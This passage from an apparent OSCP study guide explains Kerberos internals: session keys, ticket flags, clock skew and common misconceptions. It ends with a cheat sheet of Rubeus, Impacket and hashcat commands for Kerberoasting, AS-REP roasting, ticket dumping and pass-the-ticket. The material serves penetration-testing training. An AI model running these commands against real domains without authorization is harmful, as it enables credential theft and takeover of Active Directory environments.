Kerberos uses session keys to establish secure communication channels between parties:

  • K1 (TGS Session Key): Generated by the AS during AS-REP; shared between client and KDC; used to encrypt the authenticator in TGS-REQ
  • K2 (Service Session Key): Generated by the TGS during TGS-REP; shared between client and target service; used to encrypt the authenticator in the service request

Session keys are randomly generated by the KDC for each ticket. They are not derived from the user’s password — they are ephemeral secrets that exist only for the lifetime of the ticket.

Ticket Flags

Kerberos tickets contain flags that control their behavior:

Flag Description Attack Relevance
forwardable Ticket can be forwarded to another TGS Required for delegation attacks
forwarded Ticket was forwarded by a TGS Indicates delegation in use
proxiable Ticket can be used for proxy requests Required for S4U2Proxy
proxy Ticket is a proxy ticket Indicates S4U2Proxy was used
pre-auth Pre-authentication was required Absence indicates AS-REP roasting target
initial This is an initial ticket (from AS) Identifies freshly issued tickets
renewable Ticket can be renewed before expiration Extends effective attack window
encrypted-pac PAC is encrypted within the ticket Default in modern AD

Clock Skew

Kerberos relies on synchronized time. The default clock skew tolerance is 5 minutes, meaning:

  • A ticket’s timestamp must be within 5 minutes of the KDC’s current time
  • If a client’s clock is more than 5 minutes off, authentication fails
  • This prevents replay attacks but requires NTP synchronization
# Check time sync on Windows
w32tm /query /status

# Check time difference with DC
Test-Connection dc01.corp.local -Count 1
# Compare output timestamp with local time

# On Linux
ntpstat
chronyc sources

OSCP Tip: If your attack involves time-sensitive operations (like Pass-the-Ticket), ensure your attack machine’s clock is synchronized with the target domain. A 5-minute mismatch can cause otherwise valid tickets to be rejected.


8. Common Pitfalls and Misconceptions

8.1 “Kerberos sends passwords over the network”

False. Kerberos never transmits passwords or password hashes across the network. The user’s hash exists only on the client (to encrypt the pre-authentication timestamp) and on the KDC (to decrypt and verify it). Tickets and session keys are transmitted, but never the password-derived secret itself.

8.2 “The client can read its own TGT”

False. The TGT is encrypted with the krbtgt account’s hash. The client receives the TGT as an opaque encrypted blob and can only present it to the TGS — it cannot decrypt or read its own TGT. Only the KDC can read TGTs.

8.3 “Kerberos is unbreakable”

False. While Kerberos is cryptographically sound when properly configured, it has numerous attack surfaces:

  • Weak service account passwords enable Kerberoasting
  • Disabled pre-authentication enables AS-REP Roasting
  • Compromised krbtgt hash enables Golden Tickets
  • Misconfigured delegation enables privilege escalation
  • The protocol itself does not prevent Pass-the-Ticket attacks

8.4 “TGTs and service tickets are the same thing”

False. While they share a similar structure, they serve different purposes:

  • A TGT is a ticket to the TGS itself (server name = krbtgt/DOMAIN.COM)
  • A service ticket is a ticket to a specific service (server name = the service’s SPN)
  • You cannot use a TGT to access a file share directly; you must first exchange it for a service ticket

8.5 “Kerberos only uses RC4”

False. Modern Active Directory defaults to AES128 or AES256 for new accounts. RC4 (etype 23) is still common for:

  • Legacy accounts created before Windows Vista/Server 2008
  • Accounts where the USE_AES_KEYS UAC flag is not set
  • Environments that haven’t updated their encryption policies

8.6 “If I have a valid ticket, I can access any service”

False. A service ticket is specific to one SPN. A ticket for cifs/fileserver.corp.local cannot be used to access MSSQLSvc/sqlserver.corp.local:1433. Only a TGT (or Golden Ticket) can be used to request tickets for any service.


9. Quick Reference Cheat Sheet

9.1 Essential Commands

# === Windows (Attacker on compromised host) ===

# View cached Kerberos tickets
klist
klist tickets
klist tgs

# Purge cached tickets
klist purge

# Enumerate SPNs (for Kerberoasting)
# Rubeus
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /outfile:tickets.kerberoast

# Check for AS-REP roasting targets
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hashcat

# Dump all tickets
Rubeus.exe triage
Rubeus.exe dump /ticket:<ID>.kirbi

# Inject a ticket (Pass-the-Ticket)
Rubeus.exe ptt /ticket:<file>.kirbi

# === Linux/Kali (Impacket) ===

# Kerberoasting
python3 GetUserSPNs.py corp.local/user:password -dc-ip 10.10.10.10 -request

# AS-REP Roasting
python3 GetNPUsers.py corp.local/ -usersfile targets.txt -format hashcat -outputfile asreproast.hash

# === Hashcat ===

# Kerberos etype 23 (RC4)
hashcat -m 13100 tickets.kerberoast rockyou.txt -O

# Kerberos etype 17/18 (AES)
hashcat -m 19600 tickets.kerberoast rockyou.txt

# AS-REP etype 23 (RC4)
hashcat -m 18200 asreproast.hashcat rockyou.txt -O

# AS-REP etype 17 (AES128)
hashcat -m 19100 asreproast.hashcat rockyou.txt

# AS-REP etype 18 (AES256)
hashcat -m 19200 asreproast.hashcat rockyou.txt

9.2 Hashcat Modes Quick Reference

Attack etype Hashcat Mode Hash Format Prefix
Kerberoasting RC4 (23) 13100 $krb5tgs$23$
Kerberoasting AES128/256 (17/18) 19600 $krb5tgs$17$ / $krb5tgs$18$
AS-REP Roasting RC4 (23) 18200 $krb5$23$*
AS-REP Roasting AES128 (17) 19100 $krb5$17$*
AS-REP Roasting AES256 (18) 19200 $krb5$18$*

9.3 Port Quick Reference

Port Protocol Service
88 TCP/UDP KDC (AS + TGS)
464 TCP/UDP kpasswd (password change)
749 TCP KIP (KDC replication, rare)

9.4 Event ID Quick Reference

Event ID Meaning
4768 TGT requested
4769 Service ticket requested
4771 Pre-authentication failed

9.5 Key Account RIDs

RID Account Purpose
500 Administrator Built-in admin
501 Guest Built-in guest
502 krbtgt KDC TGT encryption key
512 Domain Admins Primary admin group
519 Enterprise Admins Forest-wide admin group

Summary

Kerberos is the backbone of Active Directory authentication. This deep dive covered:

  • What Kerberos is: A ticket-based, symmetric-key authentication protocol using a trusted third party (KDC)
  • KDC Architecture: The AS (issues TGTs) and TGS (issues service tickets) components running on every DC
  • The 5-step authentication flow: AS-REQ → AS-REP → TGS-REQ → TGS-REP → Service Authentication, with detailed encryption and verification at each step
  • Ticket structure: The fields within a Kerberos ticket and their attack relevance
  • Encryption types: RC4 (weak, fast to crack), AES128/AES256 (stronger, slower), and DES (broken)
  • Ports and traffic: Port 88 for KDC, port 464 for password changes, and relevant event IDs
  • Key concepts: Principals, SPNs, the krbtgt account, PAC, and pre-authentication

For OSCP success: Master the authentication flow first — every Kerberos attack is a manipulation or exploitation of one of the five steps. Then practice the enumeration commands (Rubeus, klist, GetUserSPNs.py) until they become second nature. The protocol knowledge will make the attack chapters significantly easier to understand and execute.